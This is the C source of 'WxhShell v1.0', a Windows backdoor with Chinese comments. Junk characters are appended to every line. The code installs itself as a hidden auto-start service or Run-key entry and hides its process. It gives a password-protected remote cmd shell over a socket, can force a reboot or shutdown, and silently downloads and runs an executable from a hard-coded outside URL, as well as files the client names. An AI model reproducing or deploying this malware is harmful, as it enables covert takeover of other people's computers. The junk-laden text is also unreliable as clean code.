  case 'd': { ?>=vKU5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lKQjG+YF  
    if(Boot(SHUTDOWN)) LVP6vs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tvJl-&'N  
    else { G|?V}pZ  
    closesocket(wsh); =S^vIo)  
    ExitThread(0); o}36bi{  
    } z 4. |N  
    break; 8oHIXnK  
    } E]{0lG`l  
  // 获取shell ViOXmK"  
  case 's': { 4u p7 :?  
    CmdShell(wsh); V'.gE6we  
    closesocket(wsh); HU +271A8  
    ExitThread(0); JKYtBXOl  
    break; M9Z9s11{H  
  } pOy(XUV9O  
  // 退出 |<]wM(GxE  
  case 'x': { %RIu'JXi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ctb , w  
    CloseIt(wsh); pdQaVe7tRo  
    break; <1sUK4nQ,  
    } Pmuk !V}f  
  // 离开 R$/q=*k  
  case 'q': { Nde1`W]:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 50S*_4R  
    closesocket(wsh); H6#SP~V  
    WSACleanup(); }&ew}'*9)  
    exit(1); qqYQ/4Ajw  
    break; u8~5e  
        } l9 rN!Q|  
  } >Y3zO2Cr  
  } W70BRXe04D  
odeO(zuU  
  // 提示信息 ~8Ef`zL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @$ )C pg  
} i[U=-4 J  
  } cJ,`71xop,  
mh_GYzd  
  return; \bSakh71  
} H/#WpRg  
fK4O N'[R:  
// shell模块句柄 Xp|$z~  
int CmdShell(SOCKET sock) DqH]FS?]  
{ Wu?[1L:x  
STARTUPINFO si; h=cA]^:=  
ZeroMemory(&si,sizeof(si)); A.P*@}9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z!?T&:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j~ qm5}  
PROCESS_INFORMATION ProcessInfo; G#^6H]`[J:  
char cmdline[]="cmd"; H#`&!p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~bjT,i  
  return 0; y3 S T"U  
} |R Qa.^.  
.w~L0(  
// 自身启动模式 ,+g0#8?p^x  
int StartFromService(void) #4sSt-s&  
{ ^[ >  
typedef struct 0?g&<q  
{ Sj'.)nz>  
  DWORD ExitStatus; PPtJ/ }\  
  DWORD PebBaseAddress; du=[r  
  DWORD AffinityMask; (5^SL Y  
  DWORD BasePriority; <,'^dR7,  
  ULONG UniqueProcessId; P$A'WEO'  
  ULONG InheritedFromUniqueProcessId; |SsmVW$B|  
}   PROCESS_BASIC_INFORMATION; C Yk"  
?rwHkPJ{*  
PROCNTQSIP NtQueryInformationProcess; 2f0_Xw_V_  
|i'w"Tz4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ef6LBNWY.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hniTMO  
qQ<7+z<4KP  
  HANDLE             hProcess; kh*td(pfP9  
  PROCESS_BASIC_INFORMATION pbi; FwSV \N+#'  
QtqE&j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'P >h2^z  
  if(NULL == hInst ) return 0; t4,(W`  
FE?^}VH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r%oXO]X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M#]URS2h<O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [%7oq;^J  
C'0=eel[  
  if (!NtQueryInformationProcess) return 0; .$-%rU:*}  
1\Vp[^#Vx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !% yd'"6Dl  
  if(!hProcess) return 0; ez*O'U  
kv3V|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &uv7`VT  
>:U{o!N`#_  
  CloseHandle(hProcess); Nxt z1  
\M-$|04Qt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LfS]m>>e  
if(hProcess==NULL) return 0; FkIT/H  
 AQz&u  
HMODULE hMod; X=b]Whuv  
char procName[255]; rexy*Xv`2p  
unsigned long cbNeeded; GI*2*m!u  
h]okY49hY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >!2d77I  
N u9+b"Wr  
  CloseHandle(hProcess); 7tz #R :  
_S#3!Wx  
if(strstr(procName,"services")) return 1; // 以服务启动 &l1CE1 9<  
umj5M5oe3  
  return 0; // 注册表启动 +QVe -  
} B6a   
,!g%`@u  
// 主模块 %L;'C v  
int StartWxhshell(LPSTR lpCmdLine) +LAjh)m  
{ l ilF _ y  
  SOCKET wsl; ~ f>km|Q{u  
BOOL val=TRUE; wpPCkfPyL  
  int port=0; 2(sq*!tX  
  struct sockaddr_in door; mq~L1< f  
oT27BK26?h  
  if(wscfg.ws_autoins) Install(); zd3%9rj$  
{VrjDj+Xy  
port=atoi(lpCmdLine); <swY o<?J#  
e!~x-P5M`  
if(port<=0) port=wscfg.ws_port; }fKpih  
27KfT] =  
  WSADATA data; a7Rg!%r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UKxeN[fv  
>T~d uwS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -( ,iwF b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VWa;;?IK  
  door.sin_family = AF_INET; q+-Bl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F45UO%/P  
  door.sin_port = htons(port); zmMz6\ $  
C %o^AR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j8Csnm0  
closesocket(wsl); *z A1NH5  
return 1; UA}oOteG  
} -=D6[DjU<  
d4zqLD$A  
  if(listen(wsl,2) == INVALID_SOCKET) { ^d2bl,1  
closesocket(wsl); T&`H )o  
return 1; Pa !r*(M)C  
} K+_$ WT_  
  Wxhshell(wsl); O.8{c;  
  WSACleanup(); hd}"%9p  
OjiQBsgnj  
return 0; m^)h/s0A  
lE?F Wt  
} ,HQaS9vBQ  
0vRug|}k#%  
// 以NT服务方式启动 aGz <Yip  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UE9r1g`z  
{ wN ![SM/+  
DWORD   status = 0; bJE$>  
  DWORD   specificError = 0xfffffff; M6b; DQ  
isP4*g&%x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IuQY~!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SrVJ Q~ :>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `<L6Q2Y>j  
  serviceStatus.dwWin32ExitCode     = 0; { +%S{=j  
  serviceStatus.dwServiceSpecificExitCode = 0; 5'Fh_TXTD  
  serviceStatus.dwCheckPoint       = 0; ,4wZ/r> d  
  serviceStatus.dwWaitHint       = 0; Dab1^H!KT  
=K)au$BE|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GUyc1{6  
  if (hServiceStatusHandle==0) return; EI29;  
$iA`_H`W  
status = GetLastError(); v&EHp{8Qd  
  if (status!=NO_ERROR) 3Yd)Fm  
{ H+>l][  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZdD]l*.\i  
    serviceStatus.dwCheckPoint       = 0; 5!PU+9Kh  
    serviceStatus.dwWaitHint       = 0; m{bw(+r  
    serviceStatus.dwWin32ExitCode     = status; +FoR;v)z=F  
    serviceStatus.dwServiceSpecificExitCode = specificError; t3 q0|S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ci^+T *  
    return; !.'@3-w]  
  } S/ Y1NH  
hD>O LoO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8L?35[]e  
  serviceStatus.dwCheckPoint       = 0; ? 1g<] ?  
  serviceStatus.dwWaitHint       = 0;  R9->.eE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j/R  
} .TURS  
B%L0g.D"  
// 处理NT服务事件,比如:启动、停止 '~E&^K5hr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5UwaBPj4  
{ q lL6wzq,  
switch(fdwControl) TY,w3E_  
{ (,E.1j]ji  
case SERVICE_CONTROL_STOP: LV&tu7c  
  serviceStatus.dwWin32ExitCode = 0; ^6~CA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xa2QtJq  
  serviceStatus.dwCheckPoint   = 0; (l.`g@(L  
  serviceStatus.dwWaitHint     = 0; `bGAc&,&  
  { sY t8NsQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A}b<Lg  
  } otXB:a  
  return; (s,*soAN  
case SERVICE_CONTROL_PAUSE: nJYcC"f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rBP!RSl1  
  break; 7 3k3(rZ  
case SERVICE_CONTROL_CONTINUE: $o`N%]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eD*"#O)W  
  break; TZq']Z)#  
case SERVICE_CONTROL_INTERROGATE: j"E_nV:Qc  
  break; )ll`F7B-  
}; h{]l?6`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%M2(8&^Q  
} ~PUz/^^ s  
w$7*za2  
// 标准应用程序主函数 `n7z+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HzM^Zn57%  
{ e jwFQ'wTx  
67Ai.3dR  
// 获取操作系统版本 m?_S&/+*  
OsIsNt=GetOsVer(); o_<o8!]l"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Vanw!  
v.+-)RLQg  
  // 从命令行安装 74%,v|  
  if(strpbrk(lpCmdLine,"iI")) Install(); aF$HF;-y  
3_IuK 6K2  
  // 下载执行文件 D a)[mxJ  
if(wscfg.ws_downexe) { 5isejR{r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  7[55  
  WinExec(wscfg.ws_filenam,SW_HIDE); lhx6+w  
} L^ VG?J  
<!&&Qd-d6H  
if(!OsIsNt) { DL2gui3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;KmSz 1A  
HideProc(); ocy fU=}X  
StartWxhshell(lpCmdLine); X LPO_ tD  
} "!gd)^<e  
else L&lNpMT  
  if(StartFromService()) i7}) VDsZ  
  // 以服务方式启动 ;y?,myO  
  StartServiceCtrlDispatcher(DispatchTable); 8J%^gy>m]  
else &|H?J,>  
  // 普通方式启动 A%u-6"  
  StartWxhshell(lpCmdLine); Fy<dk}@  
QdG_zK>|e  
return 0; u9e A"\s  
} 8|?$KLz?F>  
OGrVy=rd  
ZYrXav<  
APuG8 <R,  
=========================================== OUe@U;l{Z  
u A:|#mO  
\no[>L]  
_I~W!8&w>  
vKDRjrF-  
)=;0  
" W=o90TwbN  
z:|4S@9  
#include <stdio.h> .wx; !9  
#include <string.h> zO2Z\E'% .  
#include <windows.h> v?)JM+  
#include <winsock2.h> bQb> S<PT  
#include <winsvc.h> |Z$heYP:w  
#include <urlmon.h> "a;JQ:  
k#ED#']N  
#pragma comment (lib, "Ws2_32.lib") Q! ]  
#pragma comment (lib, "urlmon.lib") v-X1if1%  
(H<S&5[  
#define MAX_USER   100 // 最大客户端连接数 Sq}hx  
#define BUF_SOCK   200 // sock buffer uE-~7Q(@  
#define KEY_BUFF   255 // 输入 buffer >.SU= HG;  
<Jo_f&&{  
#define REBOOT     0   // 重启 ' V;cA$ $  
#define SHUTDOWN   1   // 关机 ]6p?mBuQ  
=g2; sM/  
#define DEF_PORT   5000 // 监听端口 SPe Se/  
D(s[=$zua  
#define REG_LEN     16   // 注册表键长度 & p"ks8"  
#define SVC_LEN     80   // NT服务名长度 pA+W 8v#*  
ITRv^IlF  
// 从dll定义API y|nMCkuX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uv}[MXOP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,+KZn}>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pcv(P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v}IkY  
qXkc~{W_  
// wxhshell配置信息 ,g#=pdX;  
struct WSCFG { #q%xJ[  
  int ws_port;         // 监听端口 QSW62]=vV  
  char ws_passstr[REG_LEN]; // 口令 N' t*eCi  
  int ws_autoins;       // 安装标记, 1=yes 0=no _0 USe  
  char ws_regname[REG_LEN]; // 注册表键名 [P]zdw w#  
  char ws_svcname[REG_LEN]; // 服务名 :O{`!&[>L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y{B|*[xM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m\__Fl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4WG~7eIgy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E#`=xg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bBc<yaN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _y#t[|}w  
:t8(w>oW  
}; `$jc=ZLm  
aIpDf|~  
// default Wxhshell configuration En&ESW N  
struct WSCFG wscfg={DEF_PORT, QDRSQ[\  
    "xuhuanlingzhe", o> WH;EBL  
    1, j8$*$|  
    "Wxhshell", xN:ih*+,v  
    "Wxhshell", iE, I\TY[  
            "WxhShell Service", `=RJ8u  
    "Wrsky Windows CmdShell Service", SG2s!Ht  
    "Please Input Your Password: ", z/)HJo2#  
  1, %kS+n_*  
  "http://www.wrsky.com/wxhshell.exe", \]e"#"v}}_  
  "Wxhshell.exe" ='q:Io?T  
    }; Kgbgp mW  
Wjn1W;m&g  
// 消息定义模块 6e(|t2^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B?'`\q) UL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zj99]4?9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8 sZ~3  
char *msg_ws_ext="\n\rExit."; \Y_2Z /  
char *msg_ws_end="\n\rQuit."; FN NEh  
char *msg_ws_boot="\n\rReboot..."; ?~$0;5)QC  
char *msg_ws_poff="\n\rShutdown..."; )Ge.1B$8h  
char *msg_ws_down="\n\rSave to "; "~0m_brf  
cH?j@-pY  
char *msg_ws_err="\n\rErr!"; Q"n*`#Yt'  
char *msg_ws_ok="\n\rOK!"; +pZ, RW.D  
OW- [#r  
char ExeFile[MAX_PATH];  iUJqAi1o  
int nUser = 0; s]Nh9h  
HANDLE handles[MAX_USER]; fpJM)HU  
int OsIsNt; ce{(5IC  
` =g9Rg/<  
SERVICE_STATUS       serviceStatus; o@mZ6!ax3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k3h,c;  
/_5I}{  
// 函数声明 @,F8gv*  
int Install(void); l)< '1dqe  
int Uninstall(void); I ugYlt  
int DownloadFile(char *sURL, SOCKET wsh); O}I8P")m  
int Boot(int flag); s!esk%h{K  
void HideProc(void); kRo dC(f @  
int GetOsVer(void); D1o<:jOj  
int Wxhshell(SOCKET wsl); u@tJu'X  
void TalkWithClient(void *cs); sgp5b$2T.  
int CmdShell(SOCKET sock); bmgK6OyVR  
int StartFromService(void); rxH*h`Xx@  
int StartWxhshell(LPSTR lpCmdLine); y|f`sBMM  
SQhk)S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bCr) 3,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xdb9oH  
?K%&N99c!  
// 数据结构和表定义 vp@%wxl!:  
SERVICE_TABLE_ENTRY DispatchTable[] = M24FuS  
{ gKy@$at&  
{wscfg.ws_svcname, NTServiceMain}, v-M3/*  
{NULL, NULL} 7?a@i; E<  
}; >=Hm2daN  
6REv(E]  
// 自我安装 F4'g}y OLd  
int Install(void) NBHS   
{ UmYReF<<_  
  char svExeFile[MAX_PATH]; [ lZo'o  
  HKEY key; d MQ]=  
  strcpy(svExeFile,ExeFile); B7r={P!0  
 $0>>Z  
// 如果是win9x系统,修改注册表设为自启动 sf )ojq6s  
if(!OsIsNt) { 7 zo)t1H1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vH/<!jtI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qOy3D~  
  RegCloseKey(key); vFz%#zk>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .J:04t1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t I}@1  
  RegCloseKey(key); 7KIOI,qb6  
  return 0; gI8r SmH  
    } q] g'rO'  
  } ^2Sa_.  
} <Wc98m  
else { lg` Qi&  
W:D'k^u  
// 如果是NT以上系统,安装为系统服务 #;FHyKx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i(DoAfYf/q  
if (schSCManager!=0) fFP>$  
{ #?%akQ+w  
  SC_HANDLE schService = CreateService '}\{4Qst  
  ( RDU,yTHq  
  schSCManager, n+Ofbiz@  
  wscfg.ws_svcname, L4Ep7=  
  wscfg.ws_svcdisp, '@enl]J  
  SERVICE_ALL_ACCESS, BDoL)}bRE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +~, qb1aZ  
  SERVICE_AUTO_START, 3=o^Vv  
  SERVICE_ERROR_NORMAL, !z@QoD  
  svExeFile, =f'MiU!p6  
  NULL, :M" NB+T  
  NULL, #hL<9j  
  NULL, 0l-m:6  
  NULL, N)'oX3?x  
  NULL w?_y;&sbR  
  ); 6<0-GD}M  
  if (schService!=0) L~e\uP  
  { :NB|r  
  CloseServiceHandle(schService); vt{s"\f  
  CloseServiceHandle(schSCManager); 9y=$ |"<(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mazjn?f  
  strcat(svExeFile,wscfg.ws_svcname); OiPE,sv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RqTW$94RD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zTi %j$o  
  RegCloseKey(key); (ov=D7>t0  
  return 0; zrfE'C8O  
    } {l&6= z  
  } 5`mRrEA  
  CloseServiceHandle(schSCManager); RFF&-M]  
} #fg RF  
} :@LFNcWE  
R_4]6{Rm  
return 1; Bkg/A;H  
} v=Ep  
4-^LC<}k  
// 自我卸载 I}oxwc  
int Uninstall(void) )W^Wqa8mG|  
{ s=`1wkh0  
  HKEY key; gE8=#%1<  
S-[]z*  
if(!OsIsNt) { F5Ce:+h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $q#|B3N%  
  RegDeleteValue(key,wscfg.ws_regname); M7vc/E}]n  
  RegCloseKey(key); 2YvhzL[um  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Eq.l<  
  RegDeleteValue(key,wscfg.ws_regname); ;6aTt2BQ  
  RegCloseKey(key); ]/;0  
  return 0; e9r#r~Qq|  
  } %XGwQB$zk8  
} n y6-_mA]  
} xM85^B'  
else { U(5(0r  
\ ?['pB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )W9 $_<Z  
if (schSCManager!=0) -05zcIVo  
{ !Dp4uE:Pq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1fRYXqx  
  if (schService!=0) ~X;r}l=k<  
  { SPA_a\6_  
  if(DeleteService(schService)!=0) { xy`aR< L  
  CloseServiceHandle(schService); bG nBV7b  
  CloseServiceHandle(schSCManager); . (*V|&n  
  return 0; jTk !wm=  
  } 3$+|nP:U  
  CloseServiceHandle(schService); drT X  
  } ]5D?Sc#-  
  CloseServiceHandle(schSCManager); Bt|S!tEy  
} |;{^Mci%  
} Q%~b(4E^7P  
xin<.)!E  
return 1; Z QND^a:  
} sAS\-c'6  
$A6'YgK  
// 从指定url下载文件 l i}4d+  
int DownloadFile(char *sURL, SOCKET wsh) P7d" E  
{ msg&~" Z  
  HRESULT hr; lwPK^)|}  
char seps[]= "/"; Q(gu ";&  
char *token; 0rY<CV;fZ  
char *file; {6'5K U*RH  
char myURL[MAX_PATH]; u$x H iD  
char myFILE[MAX_PATH]; _ ={*<E  
t`03$&Cx7  
strcpy(myURL,sURL); h";G vjy  
  token=strtok(myURL,seps); 2S}%r4$n}  
  while(token!=NULL) 6N\~0d>5m  
  { pu nc'~  
    file=token; #B:J7&@fn  
  token=strtok(NULL,seps); ')I/D4v  
  } RvV4SlZz  
NS6Bi3~  
GetCurrentDirectory(MAX_PATH,myFILE); s@ m A\  
strcat(myFILE, "\\");  (:].?o  
strcat(myFILE, file); 9I=J#Hi|+  
  send(wsh,myFILE,strlen(myFILE),0); HY9H?T  
send(wsh,"...",3,0); &$jg *Kr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BIDmZU9tL  
  if(hr==S_OK) ,7SLc+  
return 0; Y'Sxehx  
else C*ZgjFvB  
return 1; V=k!&xN~  
CjORL'3  
} z,}1K!  
%m!o#y(hD`  
// 系统电源模块 3lhXD_Y  
int Boot(int flag) ST)l0c+Y>  
{ 4z Af|Je  
  HANDLE hToken; jJ?MT#v  
  TOKEN_PRIVILEGES tkp; wKe^5|Rr  
D4G*K*z,w4  
  if(OsIsNt) { 2:MB u5**  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 's@v'u3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rw8O<No4.o  
    tkp.PrivilegeCount = 1; RW48>4f/+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [wRk )kl`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2V/ A%  
if(flag==REBOOT) { >k*QkIyq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B~-VGT 2o  
  return 0; 3 l->$R]  
} pK1P-!c  
else { EK_NN<So#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1%^U=[#2`  
  return 0; jWiZ!dtUZ  
} 5*[zIKdt2  
  } xO9,,w47  
  else { ly%$>BRU  
if(flag==REBOOT) { ] $$ciFM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q/\ <rG4  
  return 0; E,shTh%&~  
} hUSr1jlA  
else { wWY6DQQB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s#&jE GBug  
  return 0; KArf:d  
} Y~dRvt0_w  
} i pjl[  
k`Ab*M$@Xs  
return 1; 8^\DQ&D  
} vlw2dY@^  
[X#bDO<t  
// win9x进程隐藏模块 {G&K_~Vj  
void HideProc(void) u Zz^>* b  
{ 7XT2d=)"  
 ?Vbe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m=z-}T5y!T  
  if ( hKernel != NULL ) Ik>sd@X*|  
  { Jh{(xGA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S-gL]r3G8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .ZxSJ"Rk  
    FreeLibrary(hKernel); @NlnZfMu  
  } SY`NZJK  
$7jJV(B  
return; w?Nvm?_]  
}  P%xk   
t2BkQ8vr  
// 获取操作系统版本 bICi'`  
int GetOsVer(void) ?%{bMqYJD{  
{ L=Dd`  
  OSVERSIONINFO winfo; E$ q/4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G<4H~1?P  
  GetVersionEx(&winfo); lD6hL8[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ` R!0uRu  
  return 1; ~4=4Ks0  
  else |bi"J;y  
  return 0; ul(1)q^  
} Sl:Qq!  
H_ .@{8I  
// 客户端句柄模块 >9esZA^';  
int Wxhshell(SOCKET wsl) m qPWCFP  
{ .P# c/SQp  
  SOCKET wsh; q_g'4VZv  
  struct sockaddr_in client; FGr0W|?v  
  DWORD myID; +"?K00*(  
IA&((\YC  
  while(nUser<MAX_USER) @_FL,AC&m  
{ [m|\N  
  int nSize=sizeof(client); uCNQ.Nbf C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KB&t31aq  
  if(wsh==INVALID_SOCKET) return 1; ?T$i  
b^y#.V.|k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |C=^:@}ri?  
if(handles[nUser]==0) Fng":28o  
  closesocket(wsh); [bJ"*^M)  
else NqkRR$O  
  nUser++; _R8)%<E  
  } 2OAh7'8<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >LgV[D#=&o  
=k2+VI  
  return 0; w<J$12 "p+  
} *B)>5r  
kR-N9|>i  
// 关闭 socket w/d9S(  
void CloseIt(SOCKET wsh) V*5:Vt7N  
{ @gE +T37x2  
closesocket(wsh); ok-sm~bp  
nUser--; h}q+Dw.i  
ExitThread(0); ^(N+s?  
} Q'*-gg&)  
wx}\0(]Gl  
// 客户端请求句柄 =(Mv@eA"  
void TalkWithClient(void *cs) HpDU:m  
{ JI3AR e?y  
fT[6Cw5w`  
  SOCKET wsh=(SOCKET)cs; lLmVat(  
  char pwd[SVC_LEN]; ? RB~%^c!  
  char cmd[KEY_BUFF]; ^5 F-7R8Q  
char chr[1]; 9C|T/+R  
int i,j; #bsRL8@  
qq[2h~6P]  
  while (nUser < MAX_USER) { T oy~\  
miZ{V%  
if(wscfg.ws_passstr) { *ErTDy(   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .DHZs#R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S N?jxQ  
  //ZeroMemory(pwd,KEY_BUFF); z+PSx'#}  
      i=0; m ~fqZK  
  while(i<SVC_LEN) { _#f/VE  
c*~/[:}  
  // 设置超时 C0i:*1  
  fd_set FdRead; VG&|fekF  
  struct timeval TimeOut; -CtA\< 7I  
  FD_ZERO(&FdRead); >^|\wy  
  FD_SET(wsh,&FdRead); "!E(= W?  
  TimeOut.tv_sec=8; HQt=.#GW  
  TimeOut.tv_usec=0; f@\ k_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q`5jEtu#,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %j2YCV7  
v :6`(5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .g(yTA  
  pwd=chr[0]; FxM`$n~K  
  if(chr[0]==0xd || chr[0]==0xa) { X]C-y,r[M  
  pwd=0; `9a%}PVQ-  
  break; C~'}RM  
  } Y<w2_+(  
  i++; U g]6i+rp  
    } oF]0o`U&a  
0x[vB5R  
  // 如果是非法用户,关闭 socket LNXhzW   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ua`2 & ;T=  
} E^A9u |x  
wbd>By(T1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ws?p2$Cla  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HxU.kcf  
!rTh+F*  
while(1) { oIoJBn  
`+1*)bYxU  
  ZeroMemory(cmd,KEY_BUFF); S@N&W&W#~  
3|9) A+,#  
      // 自动支持客户端 telnet标准   6dC!&leNi  
  j=0; 9p2"5x  
  while(j<KEY_BUFF) { ,8+SQo #3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p8Lb*7W  
  cmd[j]=chr[0]; )"t=sFxaB  
  if(chr[0]==0xa || chr[0]==0xd) { bC?t4-W  
  cmd[j]=0; Wj.)wr!  
  break; =]-!  
  } c!{.BgGN  
  j++; pR`.8MMc8  
    } F~W*"i+EZ  
,dzbI{@6  
  // 下载文件 VIAj]Ul  
  if(strstr(cmd,"http://")) { (zk'i13#6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sh2q#7hf  
  if(DownloadFile(cmd,wsh)) >,uof?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xw9,O8}C7  
  else e)!X9><J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aJI>qk h?]  
